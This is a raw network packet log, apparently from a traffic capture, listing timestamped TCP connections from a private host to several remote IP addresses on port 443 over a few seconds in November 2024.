Nov 26, 2024 13:43:39.774929047 CET	443	49751	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:39.774986029 CET	443	49751	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:39.775027990 CET	49751	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:39.778275013 CET	49751	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:39.778304100 CET	443	49751	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:39.778323889 CET	49751	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:39.778331041 CET	443	49751	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:39.785161972 CET	49764	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:39.785200119 CET	443	49764	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:39.785257101 CET	49764	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:39.789397955 CET	49764	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:39.789416075 CET	443	49764	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:39.979820967 CET	49700	443	192.168.2.7	104.98.116.138
Nov 26, 2024 13:43:39.980426073 CET	49765	443	192.168.2.7	104.98.116.138
Nov 26, 2024 13:43:39.980468035 CET	443	49765	104.98.116.138	192.168.2.7
Nov 26, 2024 13:43:39.980547905 CET	49765	443	192.168.2.7	104.98.116.138
Nov 26, 2024 13:43:39.981731892 CET	49765	443	192.168.2.7	104.98.116.138
Nov 26, 2024 13:43:39.981744051 CET	443	49765	104.98.116.138	192.168.2.7
Nov 26, 2024 13:43:40.025393963 CET	443	49755	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:40.025459051 CET	443	49755	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:40.025505066 CET	49755	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:40.029656887 CET	49755	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:40.029675007 CET	443	49755	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:40.041435003 CET	49766	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:40.041471004 CET	443	49766	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:40.041536093 CET	49766	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:40.041941881 CET	49766	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:40.041955948 CET	443	49766	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:40.099822044 CET	443	49700	104.98.116.138	192.168.2.7
Nov 26, 2024 13:43:41.500699997 CET	443	49759	172.202.163.200	192.168.2.7
Nov 26, 2024 13:43:41.500818014 CET	49759	443	192.168.2.7	172.202.163.200
Nov 26, 2024 13:43:41.502450943 CET	49759	443	192.168.2.7	172.202.163.200
Nov 26, 2024 13:43:41.502458096 CET	443	49759	172.202.163.200	192.168.2.7
Nov 26, 2024 13:43:41.502734900 CET	443	49759	172.202.163.200	192.168.2.7
Nov 26, 2024 13:43:41.551234961 CET	49759	443	192.168.2.7	172.202.163.200
Nov 26, 2024 13:43:41.658026934 CET	443	49761	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:41.658893108 CET	49761	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:41.658926010 CET	443	49761	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:41.659284115 CET	49761	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:41.659301043 CET	443	49761	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:41.677743912 CET	443	49760	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:41.678224087 CET	49760	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:41.678235054 CET	443	49760	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:41.678684950 CET	49760	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:41.678692102 CET	443	49760	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:41.732975960 CET	443	49764	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:41.733438969 CET	49764	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:41.733458042 CET	443	49764	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:41.733930111 CET	49764	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:41.733933926 CET	443	49764	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:41.785258055 CET	443	49762	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:41.785785913 CET	49762	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:41.785815001 CET	443	49762	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:41.786233902 CET	49762	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:41.786240101 CET	443	49762	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:41.853971004 CET	443	49766	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:41.854455948 CET	49766	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:41.854465961 CET	443	49766	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:41.854906082 CET	49766	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:41.854911089 CET	443	49766	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.101968050 CET	443	49761	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.102044106 CET	443	49761	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.102149010 CET	49761	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.102293015 CET	49761	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.102293015 CET	49761	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.102315903 CET	443	49761	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.102327108 CET	443	49761	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.105221987 CET	49770	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.105261087 CET	443	49770	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.105325937 CET	49770	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.105452061 CET	49770	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.105464935 CET	443	49770	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.132699013 CET	443	49760	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.132764101 CET	443	49760	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.132838011 CET	49760	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.132972002 CET	49760	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.132978916 CET	443	49760	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.132987976 CET	49760	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.132992029 CET	443	49760	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.135682106 CET	49771	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.135729074 CET	443	49771	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.135911942 CET	49771	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.136059046 CET	49771	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.136074066 CET	443	49771	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.178766012 CET	443	49764	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.178857088 CET	443	49764	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.178924084 CET	49764	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.179239988 CET	49764	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.179250956 CET	443	49764	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.179265022 CET	49764	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.179270029 CET	443	49764	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.182137012 CET	49772	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.182177067 CET	443	49772	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.182337999 CET	49772	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.182509899 CET	49772	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.182524920 CET	443	49772	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.243271112 CET	443	49762	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.243355036 CET	443	49762	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.243417978 CET	49762	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.243642092 CET	49762	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.243660927 CET	443	49762	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.243676901 CET	49762	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.243685007 CET	443	49762	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.246520996 CET	49773	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.246557951 CET	443	49773	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.246757984 CET	49773	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.246952057 CET	49773	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.246961117 CET	443	49773	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.289599895 CET	443	49766	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.289661884 CET	443	49766	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.289726019 CET	49766	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.289928913 CET	49766	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.289944887 CET	443	49766	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.289957047 CET	49766	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.289962053 CET	443	49766	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.292828083 CET	49774	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.292862892 CET	443	49774	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:42.292936087 CET	49774	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.293075085 CET	49774	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:42.293083906 CET	443	49774	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:43.013051987 CET	49759	443	192.168.2.7	172.202.163.200
Nov 26, 2024 13:43:43.059341908 CET	443	49759	172.202.163.200	192.168.2.7
Nov 26, 2024 13:43:43.417818069 CET	443	49759	172.202.163.200	192.168.2.7
Nov 26, 2024 13:43:43.417844057 CET	443	49759	172.202.163.200	192.168.2.7
Nov 26, 2024 13:43:43.417851925 CET	443	49759	172.202.163.200	192.168.2.7
Nov 26, 2024 13:43:43.417886019 CET	443	49759	172.202.163.200	192.168.2.7
Nov 26, 2024 13:43:43.417931080 CET	49759	443	192.168.2.7	172.202.163.200
Nov 26, 2024 13:43:43.417938948 CET	443	49759	172.202.163.200	192.168.2.7
Nov 26, 2024 13:43:43.417946100 CET	443	49759	172.202.163.200	192.168.2.7
Nov 26, 2024 13:43:43.417968035 CET	49759	443	192.168.2.7	172.202.163.200
Nov 26, 2024 13:43:43.418967962 CET	49759	443	192.168.2.7	172.202.163.200
Nov 26, 2024 13:43:43.583553076 CET	443	49759	172.202.163.200	192.168.2.7
Nov 26, 2024 13:43:43.583564043 CET	443	49759	172.202.163.200	192.168.2.7
Nov 26, 2024 13:43:43.583645105 CET	443	49759	172.202.163.200	192.168.2.7
Nov 26, 2024 13:43:43.583663940 CET	49759	443	192.168.2.7	172.202.163.200
Nov 26, 2024 13:43:43.583749056 CET	49759	443	192.168.2.7	172.202.163.200
Nov 26, 2024 13:43:43.821537018 CET	443	49770	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:43.822514057 CET	49770	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:43.822514057 CET	49770	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:43.822535038 CET	443	49770	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:43.822550058 CET	443	49770	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:43.852019072 CET	443	49771	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:43.852535963 CET	49771	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:43.852569103 CET	443	49771	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:43.853132963 CET	49771	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:43.853138924 CET	443	49771	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:43.963404894 CET	443	49772	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:43.964313984 CET	49772	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:43.964313984 CET	49772	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:43.964343071 CET	443	49772	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:43.964353085 CET	443	49772	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.025392056 CET	443	49774	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.025939941 CET	49774	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.025957108 CET	443	49774	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.026398897 CET	49774	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.026406050 CET	443	49774	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.033041000 CET	443	49773	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.033440113 CET	49773	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.033467054 CET	443	49773	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.033953905 CET	49773	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.033958912 CET	443	49773	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.256566048 CET	443	49770	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.256635904 CET	443	49770	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.256684065 CET	49770	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.256916046 CET	49770	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.256934881 CET	443	49770	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.256951094 CET	49770	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.256956100 CET	443	49770	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.260303974 CET	49777	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.260328054 CET	443	49777	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.260390043 CET	49777	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.260658026 CET	49777	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.260672092 CET	443	49777	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.287091970 CET	443	49771	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.287167072 CET	443	49771	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.287221909 CET	49771	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.287363052 CET	49771	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.287378073 CET	443	49771	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.287390947 CET	49771	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.287395954 CET	443	49771	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.291515112 CET	49778	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.291546106 CET	443	49778	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.291613102 CET	49778	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.291743040 CET	49778	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.291754961 CET	443	49778	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.408848047 CET	443	49772	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.408915997 CET	443	49772	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.408960104 CET	49772	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.458758116 CET	49772	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.458775997 CET	443	49772	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.458790064 CET	49772	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.458795071 CET	443	49772	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.460540056 CET	443	49774	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.460618019 CET	443	49774	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.460669041 CET	49774	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.478851080 CET	443	49773	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.478919983 CET	443	49773	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.478966951 CET	49773	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.479671955 CET	49774	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.479680061 CET	443	49774	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.479691982 CET	49774	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.479696035 CET	443	49774	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.497036934 CET	49773	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.497066021 CET	443	49773	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.497078896 CET	49773	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.497085094 CET	443	49773	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.498667002 CET	49779	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.498708963 CET	443	49779	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.498780012 CET	49779	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.519486904 CET	49779	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.519506931 CET	443	49779	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.524137020 CET	49780	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.524169922 CET	443	49780	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.524236917 CET	49780	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.524460077 CET	49780	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.524476051 CET	443	49780	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.537926912 CET	49781	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.537949085 CET	443	49781	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.538011074 CET	49781	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.547097921 CET	49781	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:44.547110081 CET	443	49781	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:44.979794979 CET	49759	443	192.168.2.7	172.202.163.200
Nov 26, 2024 13:43:44.979794979 CET	49759	443	192.168.2.7	172.202.163.200
Nov 26, 2024 13:43:44.979829073 CET	443	49759	172.202.163.200	192.168.2.7
Nov 26, 2024 13:43:44.979839087 CET	443	49759	172.202.163.200	192.168.2.7
Nov 26, 2024 13:43:46.008532047 CET	443	49778	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.011164904 CET	49778	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.011164904 CET	49778	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.011192083 CET	443	49778	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.011209011 CET	443	49778	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.041009903 CET	443	49777	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.041490078 CET	49777	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.041516066 CET	443	49777	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.041929960 CET	49777	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.041935921 CET	443	49777	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.305198908 CET	443	49780	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.305782080 CET	49780	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.305799961 CET	443	49780	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.306253910 CET	49780	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.306258917 CET	443	49780	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.365751028 CET	443	49779	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.366269112 CET	49779	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.366297007 CET	443	49779	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.366749048 CET	49779	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.366755009 CET	443	49779	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.448892117 CET	443	49778	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.448950052 CET	443	49778	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.449039936 CET	49778	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.449239016 CET	49778	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.449263096 CET	443	49778	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.449278116 CET	49778	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.449284077 CET	443	49778	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.451616049 CET	49784	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.451668024 CET	443	49784	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.451744080 CET	49784	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.451961040 CET	49784	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.451980114 CET	443	49784	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.491051912 CET	443	49777	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.491127968 CET	443	49777	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.491187096 CET	49777	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.491388083 CET	49777	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.491403103 CET	443	49777	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.491410971 CET	49777	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.491415977 CET	443	49777	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.494251966 CET	49785	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.494287014 CET	443	49785	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.494388103 CET	49785	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.494553089 CET	49785	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.494566917 CET	443	49785	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.860816002 CET	443	49780	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.860919952 CET	443	49780	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.861088991 CET	49780	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.861356020 CET	49780	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.861371040 CET	443	49780	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.861381054 CET	49780	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.861387014 CET	443	49780	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.865053892 CET	49786	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.865111113 CET	443	49786	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.865187883 CET	49786	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.865396976 CET	49786	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.865408897 CET	443	49786	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.906940937 CET	443	49779	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.907005072 CET	443	49779	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.907063961 CET	49779	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.907325029 CET	49779	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.907335043 CET	443	49779	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.907347918 CET	49779	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.907354116 CET	443	49779	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.909845114 CET	49787	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.909859896 CET	443	49787	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.909931898 CET	49787	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.910384893 CET	49787	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.910398960 CET	443	49787	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.975954056 CET	443	49781	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.976593971 CET	49781	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.976614952 CET	443	49781	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:46.977077961 CET	49781	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:46.977086067 CET	443	49781	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:48.297529936 CET	443	49784	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:48.298261881 CET	49784	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:48.298289061 CET	443	49784	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:48.298845053 CET	49784	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:48.298850060 CET	443	49784	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:48.309586048 CET	443	49785	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:48.310987949 CET	49785	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:48.311007977 CET	443	49785	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:48.311831951 CET	49785	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:48.311839104 CET	443	49785	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:48.661164999 CET	443	49786	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:48.661684990 CET	49786	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:48.661715984 CET	443	49786	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:48.662256956 CET	49786	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:48.662265062 CET	443	49786	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:48.738781929 CET	443	49787	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:48.739388943 CET	49787	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:48.739413977 CET	443	49787	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:48.739967108 CET	49787	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:48.739974022 CET	443	49787	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:48.746062994 CET	443	49784	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:48.746134043 CET	443	49784	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:48.746191025 CET	49784	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:48.746439934 CET	49784	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:48.746462107 CET	443	49784	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:48.746473074 CET	49784	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:48.746479988 CET	443	49784	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:48.751235962 CET	49788	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:48.751272917 CET	443	49788	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:48.751344919 CET	49788	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:48.751570940 CET	49788	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:48.751583099 CET	443	49788	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:48.819020033 CET	443	49785	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:48.819093943 CET	443	49785	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:48.819149971 CET	49785	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:48.820864916 CET	49785	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:48.820883036 CET	443	49785	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:48.820895910 CET	49785	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:48.820900917 CET	443	49785	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:48.823689938 CET	49789	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:43:48.823718071 CET	443	49789	13.107.246.63	192.168.2.7
Nov 26, 2024 13:43:48.823776007 CET	49789	443	192.168.2.7	13.107.246.63
